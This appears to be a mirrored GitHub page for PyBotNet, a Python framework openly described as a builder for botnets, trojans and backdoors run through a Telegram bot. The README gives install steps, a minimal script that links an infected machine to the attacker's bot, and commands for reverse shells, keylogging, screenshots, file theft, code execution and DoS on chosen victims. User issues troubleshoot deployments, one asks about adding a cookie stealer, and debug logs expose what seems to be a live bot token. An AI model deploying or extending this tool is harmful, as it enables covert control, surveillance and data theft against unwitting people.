Coder Social home page Coder Social logo

onionj / pybotnet Goto Github PK

View Code? Open in Web Editor NEW
244.0 8.0 71.0 1.6 MB

PyBotNet: A High-Level Remote Control Framework for Python with Telegram Integration

Home Page: https://onionj.github.io/pybotnet/

License: GNU Lesser General Public License v2.1

Python 96.48% Shell 2.96% Makefile 0.56%
botnet backdoor python linux windows macos trojan ddos telegram remote-control

pybotnet's Introduction

trojan horse

PyBotNet

A Python framework for building remote control, botnet , trojan or backdoor with Telegram or other control panels

Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!.


Source Code: https://github.com/onionj/pybotnet

Documentation: https://onionj.github.io/pybotnet/

ToDo List: https://github.com/users/onionj/projects/1


Features:

  • Built in Telegram control pannel and proxy system
  • Built in scripts like:
    • reverse shell
    • put or get file
    • run python code on target systems
    • get screenshot
    • keylogger
    • dos
    • scheduler
    • ...
  • Cross platform
  • Ability to easily add custom scripts
  • Import external scripts
  • Ability to add custom control panel
  • Add remote control to your apps
  • ...

Install PyBotNet

pip3 install pybotnet -U
  • -U: make sure to upgrade framework to latest version.

The simplest PyBotNet file could look like this:

# in main.py
from pybotnet import BotNet, TelegramEngine


telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1)

botnet = BotNet(telegram_engine) # (2)
botnet.run()
  1. create engine: Engines transfer messages between admin and botnet
  2. create BotNet instance

note:

  • TELEGRAM_TOKEN: You can use telegram @botfather to Create new telegram API Bot and get your TELEGRAM_TOKEN
  • ADMIN_CHAT_ID: Get it from @userinfobot telegram bot
  • PyBotNet include default scripts, like: /shell, /put_file, /get_file, /screenshot, /who, ..., you can send /help to your telegram bot and see more detail..

Run code:

python3 main.py

telegram engine

open telegram and send /who command to your bot; If you have done the steps correctly, you recive a message like this:

scripts_name:
    echo
    who
    shell
    screenshot
    put_file
    get_file
    runcode
    openurl
    dos
    schedule

mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
local_ip: {'192.168.23.1'}
host_name: {'system_name'}
system_user: root
up_time: 0:00:01
current_route: /
pid: 148352
cpu_count: 8
pybotnet_version: 2.0.8b0
from cache: True

you can send /help to see help page, or send /help <script_name> to recive more help about a specific script.

for example send /help screenshot, You will receive:

NAME:
screenshot

DESCRIPTION:
get screen shot
    * `[mac-address] /screenshot`
    or
    * `/screenshot`

    example command: 
        * `94945035671481 /screenshot`
        * `/screenshot` 

    return: img or img-download-link
    

script_version: 0.0.1
default_script: True

___________________________
scripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
use_proxy: False

in top of message you see script name, description, syntax, and examples.

for run screenshot script you have two choice:

  • Run the script on all clients that are listening to Telegram bot (for now we have one!)
  • Run script on one specific system

for run script on all client send /screenshot.

bot if you need to get screen-shot on a specific system you need to send [mac_addres] /screenshot for our case: 228362405364 /screenshot

in some case like /shell you need to run it just for one system.

For see who we can Add custom scripts, Run in background, Running the pybotnet without coding, and etc, see the below documentation.

For more, see Documentation


Contributors ✨

Thanks goes to these wonderful people :


TorhamDev


SepehrRasouli

pybotnet's People

Contributors

dependabot[bot] avatar onionj avatar sepehrrasouli avatar torhamdev avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

pybotnet's Issues

Mybot can not receive and execute command

Mybot had contacted my telegram successfully but when i type commands (/who, /help,...) the bot still can not get and execute them.
Here is the log:

DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331
DEBUG:--> pybotnet.botnet :
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331
DEBUG:--> pybotnet.botnet :
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331
DEBUG:--> pybotnet.botnet :
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "GET /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/getMe HTTP/1.1" 200 193
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org:443
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /bot5637781340:AAF9vr8hzug-LBqhELv-6Ur-89GVT_0dCYE/Getupdates?offset=442620547&limit=100 HTTP/1.1" 200 331
DEBUG:--> pybotnet.botnet :

My python 3.8, pybotnet>=2
What can i do now?

ImportError

Hi, onionj.
When I imported pybotnet and ran the code I got this error.
ImportError: cannot import name 'util' from partially initialized module 'pybotnet' (most likely due to a circular import)
Would you help me, please?

running pybotnet with admin token and bot token gives a bunch of errors

yo, i used your work before and i honestly love this botnet. Its really customizable and i can basically do whatever i want with it. But i recently got a better pc and downloaded ubuntu 20.4 on a vm again to download pybotnet but then this shit happens.
image
image

Btw i edited the images bot token so its invalid.

I think its that pybotnet is using outdated versions of whatever addons its using and thats whats causing the problems. If you are still active onionj i would really appreciate it if you would help me out. Cheers :)

Xlib.error.DisplayNameError: Bad display name ""

first, i like this botnet.. is good because using telegram . .. but i got this error :

Traceback (most recent call last):
File "/usr/local/lib/python3.7/runpy.py", line 183, in _run_module_as_main
mod_name, mod_spec, code = _get_module_details(mod_name, _Error)
File "/usr/local/lib/python3.7/runpy.py", line 142, in _get_module_details
return _get_module_details(pkg_main_name, error)
File "/usr/local/lib/python3.7/runpy.py", line 109, in _get_module_details
import(pkg_name)
File "/usr/local/lib/python3.7/site-packages/pybotnet/init.py", line 1, in
from .pybotnet import PyBotNet
File "/usr/local/lib/python3.7/site-packages/pybotnet/pybotnet.py", line 2, in
from . import util
File "/usr/local/lib/python3.7/site-packages/pybotnet/util.py", line 20, in
from pynput import keyboard
File "/usr/local/lib/python3.7/site-packages/pynput/init.py", line 40, in
from . import keyboard
File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/init.py", line 52, in
from ._xorg import KeyCode, Key, Controller, Listener
File "/usr/local/lib/python3.7/site-packages/pynput/keyboard/_xorg.py", line 39, in
from pynput._util.xorg import (
File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 40, in
_check()
File "/usr/local/lib/python3.7/site-packages/pynput/_util/xorg.py", line 38, in _check
display = Xlib.display.Display()
File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 89, in init
self.display = _BaseDisplay(display)
File "/usr/local/lib/python3.7/site-packages/Xlib/display.py", line 71, in init
protocol_display.Display.init(self, *args, **keys)
File "/usr/local/lib/python3.7/site-packages/Xlib/protocol/display.py", line 84, in init
name, protocol, host, displayno, screenno = connect.get_display(display)
File "/usr/local/lib/python3.7/site-packages/Xlib/support/connect.py", line 73, in get_display
return mod.get_display(display)
File "/usr/local/lib/python3.7/site-packages/Xlib/support/unix_connect.py", line 76, in get_display
raise error.DisplayNameError(display)
Xlib.error.DisplayNameError: Bad display name ""

can you help ? ,

error in open[SOLVED]

hey
i'm using this on windows 10, and when i place token and admin id in source and run it, i got this error

Traceback (most recent call last):
  File "d:/My-projects/botnet_for_systems_pico_ducky/main.py", line 2, in <module>
    from pybotnet import BotNet, TelegramEngine
  File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\__init__.py", line 3, in <module>
    from .botnet import BotNet as BotNet
  File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\botnet.py", line 15, in <module>
    from .context import Context
  File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 9, in <module>
    class Context:
  File "C:\Users\Asus\AppData\Local\Programs\Python\Python38\lib\site-packages\pybotnet\context.py", line 37, in Context
    def get_all_global_values(cls) -> dict[Any, Any]:
TypeError: 'type' object is not subscriptable

what should i do?

SyntaxError: Invalid Decimal Literal

After adding my token I received an Invalid Decimal Literal for SyntaxError and the last digits after the hyphen were in red letters. So I'd kind hope you could explain me why python is saying that? What should I do to make the interpreter accept it??

windows startup

Hi bro
will you update this project?
Add options like startup and task schedule...
Please update and add new options.

Error executing python3 -m pybotnet

When I put python3 -m pybotnet with the parameters put this:

Traceback (most recent call last):
File "/root/pybotnet/pybotnet/engines/telegram_engine.py", line 78, in send
res.append(self._http_request(method="POST", url=api_url))
File "/root/pybotnet/pybotnet/engines/telegram_engine.py", line 113, in _http_request
return requests.request(method=method, url=url, timeout=15).json()["result"]
KeyError: 'result'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/lib/python3.10/runpy.py", line 196, in _run_module_as_main
return _run_code(code, main_globals, None,
File "/usr/lib/python3.10/runpy.py", line 86, in _run_code
exec(code, run_globals)
File "/root/pybotnet/pybotnet/main.py", line 52, in
BotNet(engine, bot_name=args.name, debug=args.debug).run()
File "/root/pybotnet/pybotnet/botnet.py", line 378, in run
self.engine.send("Botnet Start", self.system_info())
File "/root/pybotnet/pybotnet/engines/telegram_engine.py", line 82, in send
raise EngineException(e)
pybotnet.exceptions.EngineException: 'result'

How do I setup.

What version of python does it require and also when I open setup.py it instantly closes

Help me

Hi, I couldn't create main.py for myself, how should I add voice recorder and screen recorder to my file or add key logger or Google cookie logger?
please help me

I have a problem running the file main.py

Traceback (most recent call last):
File "/data/data/com.termux/files/home/pybotnet/pybotnet/main.py", line 3, in
from . import *
ImportError: attempted relative import with no known parent package

Develop botnet

Hi my friend, this project is great, but its options are few, I am waiting for amazing updates and adding options for keylogger, screenshot, download, upload, etc. Please develop the botnet.

Enhancment for pybotnet

Hello again , Onionj. Pybotnet does a great job in solving the issue of Telegram being blocked in Iran , but this app is not only intended for Iranian's so I believe that using a proxy in countries where freedom of speech is respected might not be useful so we can make it an optional choice. What are your thoughts ?
SepehrRS

response from command /who not receiving in the console

I followed every step correclty using the 'without coding' method. I import pybotnet in my script and ran with python3 the syntax from the doc -> python3 -m pybotnet -t 'my token' -i 'id' -n 'bot name'. The result from my IDE was apparently OK because it passed to status 'running' but after I ran /who I received 'unrecognized command'

pybotnet

???

Multi Victim? or 1 telegram bot for 1 victim?

Unrecognized command. /who but code ran fine and clean

I wrote my code and made it run on vscodium terminal and it seems it ran fine and clean (without errors) but after I ran the /who command on my Telegram desktop software application I received an "Unrecognized command. Say what?" Did I miss anything out of extraordinary?? -> Check out my code below

bot

Transfer all functions to util.py

Hi Onionj.
As a contributor, I've a hard time trying to write new features and I can't use the pybotnet's features so I've to kinda invent the wheel again every time I want to run a command and etc.
I would be very happy if you consider transferring all the useful features and their functions to util.py so the contributors wouldn't have a hard time trying to write new and useful features.

A question about configs.py.sample

Hi, Onionj.
I've read your Persian documentation and i noticed that you said the delay should not be less than 10. why? and why you haven't write the same for the English documentation? Because the delay in the README.MD version of configs.py.sample has a delay of 7 seconds and the delay in the original configs.py.sample code has a delay of 10 seconds.
What are your thoughts ? How can we fix this ?
SepehrRS.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.